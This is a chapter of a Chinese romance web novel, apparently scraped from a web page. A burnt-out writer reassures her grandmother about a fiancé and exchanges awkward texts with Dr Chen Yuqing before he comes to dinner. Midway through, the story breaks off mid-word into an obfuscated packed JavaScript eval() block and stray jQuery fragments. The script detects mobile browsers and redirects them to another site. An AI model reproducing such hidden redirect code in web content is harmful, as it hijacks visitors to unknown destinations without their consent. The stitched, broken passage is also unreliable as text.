结束聊天后,向晚忽的没了入睡的心情。
她打开手机上的三个银行app,看到里面的余额,如同被塑料袋罩住脸,憋闷不已。
三张银行卡里的余额一共二十五万,是她从大二开始一点一点攒出来的。
想到这个数字马上就要锐减,她就肉疼得很!
不过,钱没有了,还可以再挣。
要是嫁给那个张先生,那可就是搭上自己一辈子的幸福快乐。
这样一比较,二十万也算花得值。
沉默半晌后,她退出手机银行界面,点进网站网页,登录作者账号。
时隔一个月再次登录,她的心里忐忑又难过。
近半年来,她的灵感枯竭,写出来的文字很难令自己满意,难免会焦虑。加上近两个月频繁被催婚,她的心理压力大到难以想象。
到后期时,她已经是整晚整晚睡不着,就算睡着了也睡不好,总是做梦。梦里都是读者骂她烂尾的情景。
如此循环之下,她看到键盘和作者后台就心慌头晕,完全无法码字。
但写作是她的主要经济来源,即将失去二十万的她,不得不直面内心的痛苦。
她一个字一个字地输入笔名,缓缓按下登录选项。
见网页很快跳转到作者后台,她使劲深呼吸几下,屏住呼吸,小心翼翼地点进最新发表作品的评论后台。
意料之外,评论区里没有铺天盖地的指责,反而有很多鼓励和关心。
有让她注意身体的,有让她慢慢来别着急的,还有说会一直等她的……各种各样温暖的话,看得她的眼睛都湿润了,忽的冒出点信心来,重新下载写作软件,准备大干一场。
但当她看到熟悉的写作后台和自己之前写下的文字时,她的脑袋又开始嗡嗡嗡地响,连带着胃也跟着难受。
沉默良久后,她认命般地退出写作界面,打开作者后台,发布暂停更新的公告,并说明具体原因。发完她又将公告同步发到微博。
公告发出后,读者接二连三地在底下留言。
女孩子的文字温暖又细腻,看得她的心像被温热的水流.淌过一样,熨帖极了。
次日傍晚时分,橘色落日在蓝色天空晕开,晕出片片晚霞,美不胜收。
吃完“早中晚三合一”饭的向晚,正窝在床上看许多年前的经典爱情影片,《怦然心动》。
“星星当空,打把鸡枞……”
熟悉的童声响起,她漫不经心地扫了眼手机。
看到屏幕上显示着“外婆”,她忍不住摸摸鼻子,定定心神,将电影调成静音模式,很快接通电话。
电话里,外婆的声音一如往常的柔软和慈爱。
“铃铛,你妈说你有对象了,是不是真的呀?怎么上次回来都没听你说过呀?你实话告诉外婆,是不是不想嫁给你妈说的那个人,所以才说有对象的?”
“外婆,我是真找到想结婚的人了,不是因为别的原因。不过我妈说的那个人确实不怎么样,跟个流氓似的。外婆,你要是见了那个人肯定会给他两棍子。”
向晚说着想起自己小时候被邻居家熊孩子欺负,外婆拿棍子追那熊孩子,揍得人哇哇叫的场景,笑得眉眼弯弯,心神柔和。
“你这孩子,净瞎说!你外婆我是随便打人的人吗?”
“不是,外婆不会随便打人!但他是流氓,不算人。”
外婆听到向晚的话笑得嘴都合不拢,知道她是真的找到想结婚的人,心里积攒几年的不放心也都放心了。
她想了想,又问:“铃铛,你那对象叫什么,长什么样呀,啥时候带回来给外婆看看呀?”
“外婆,他叫陈聿青,是个中医,还在大学里面教书。他人特别高,比我高一个头,长得还挺好看的,就是有点冷冷的,但对我挺好的。他这几天出差了,等有时间,我就带他回去见你。”
外婆被向晚的话整得一愣一愣的,两只眼睛蹭亮蹭亮的,笑得脸都酸了,毫不吝啬地夸道:“哎哟,比你还高一个头,那不得一米九了,这小伙子也太高了!又高又帅,工作也好!咱们铃铛就是有眼光,干啥事都厉害,回头把人带来给外婆好好看看。哎哟,真不错……”
向晚一贯不是个擅长撒谎的人,尤其是面对自己亲近的人。
听见外婆对自己的强行夸赞,她忍不住用手背蹭蹭鼻尖,心虚不已,同时心里又像是吃了外婆做的白糖卷一样,甜滋滋又软乎乎。
虽然她没有好的父母和手足,但她有好的外婆。
全世界最好的,独一无二的外婆。
结束电话后,向晚纠结片刻,给陈聿青发消息问道:
【陈医生,明天晚上要不要在我家吃饭?】
正在酒店整理资料的陈聿青收到消息,眸光顿了下,片刻后回了个“好”。
向晚瞧见,想了想又问:【陈医生,你有什么要忌口的吗?】
陈聿青:【没有。】
向晚:【陈医生,那你有什么喜欢吃的吗?】
陈聿青:【没有。】
向晚:【好的,收到。陈医生,那我就不打扰你了,我们明天见。】
和外婆打电话时的向晚,或躺或半躺,偶尔四仰八叉,怎么舒服怎么来,就是没个正形。
和陈聿青发消息的向晚,双膝曲起并拢,脊背打直,坐得端正乖巧,规矩得不行,手捧着手机,字字斟酌,礼貌得像是天底下最优秀的客服。
陈聿青看着满屏的“陈医生”三个字,默了一瞬,说:
【向晚,我们明天商讨结婚的事。】
向晚看着屏幕上这句没头没尾的话,心里满是疑惑,又夹杂着些许忐忑,迟疑数秒,回道:【是的,陈医生,关于结婚的事,你有别的想法了吗?】
陈聿青眼里划过一抹无奈,略直白地说:
【向晚,我们现在不是医生和病人的关系,你不用一直叫我陈医生。】
向晚怔愣住,揉了揉头发,脑中闪过好几个对他的称呼,挣扎了下,小心翼翼地试探:【不叫陈医生的话,叫什么?】
【老公吗?】
【这会不会有点太快太突然了?】
【陈医生,你觉得呢?】
陈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992279|193769||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
聿青看到“老公”两个字,目光明显顿住,轻咳一声,回:【叫名字吧。】
向晚看到回信,手抚着胸口,长长舒一口气。
陈聿青这么冷冰冰的人,怎么可能会喜欢被叫老公呢?
用脚趾头想都知道不可能!
想到这儿,她的脑中不禁浮现出自己叫陈聿青“老公”,陈聿青听得眉头皱的能打结的场景。
想到他那锐利的眼神和冰冷的神色,向晚下意识摇摇头,连带着身子也跟着抖了抖。
不多时,她回过神来,很快在对话框里编辑出“好的,陈医生”,发送过去。
陈聿青看着屏幕上向晚复又发过来的“陈医生”,不由得陷入沉默。
周三晚上七点,陈聿青搭乘飞机抵达云城国际机场。
刚上出租车,他就接到了自家外公的电话。
电话里,陈怀瑾中气十足地问:“聿青呀,下飞机没?下飞机了我就让琴姨开始做饭了。”
陈聿青沉默数秒,回:“刚下飞机,同事有聚餐,你们先吃,不用管我。”
陈怀瑾没有多想,祖孙俩很快结束通话。
陈聿青家和向晚所在的公寓在一条路上。
两人一个住在S大西侧,一个住在东侧,相距至多3公里。
将资料放回去后,陈聿青开车前往向晚那儿。
约莫十五分钟过后,他按照向晚所给的门牌号找到她家的具体位置,按下门铃。
“叮咚……”
听到门铃声,向晚将手中奶白锅盖盖回去,盖住咕噜咕噜冒着泡的鱼汤和浓郁香气,抽出一张纸巾擦干净手上的水渍,走到门边,轻拍胸口,自我安抚道:“别怕别怕,陈医生不会吃人的。”
小声念叨几遍后,她抬手握住微凉的门把手,缓缓拧动,小心翼翼地将门打开一条缝隙,探出头。
目光不期然撞上陈聿青冷淡的眼神,她下意识往回缩了缩,身体后退一步,将门打开大半。
门外,陈聿青笔直地站着,如同一座雕塑,伟岸挺拔。
他那张俊朗深邃的脸一半隐没在黑暗中,一半展露在光明里。
半明半暗,神秘莫测。
夜色沉沉,房间透出的暖黄灯光变得越发朦胧美好,映照在他冷硬的轮廓和始终疏离的眼眸,平添几分柔和。
今天的他依旧穿着质地精良,剪裁极好的白色衬衣和深色西裤。
不过与上次不同的是,这次他将袖口翻折上去些许,露出半截线条流畅的小臂。
还有,这次他没有系领带。
衬衣领口的扣子不知是他自己解开的,还是无意中脱落的,开了一颗。领口处冷白的皮肤向下延伸一小块,添了几分随性和慵懒。
不过,禁欲感却是不减反增。
“看够了吗?向小姐。”陈聿青直直看着向晚,眼里很快闪过一抹探究。
突然而至的声音吓得向晚连忙收回视线,下意识又退后两步,垂眸盯着地板,话都说不利索了。
向晚:“够……够了,陈医生,您请进。”
陈聿青:“……”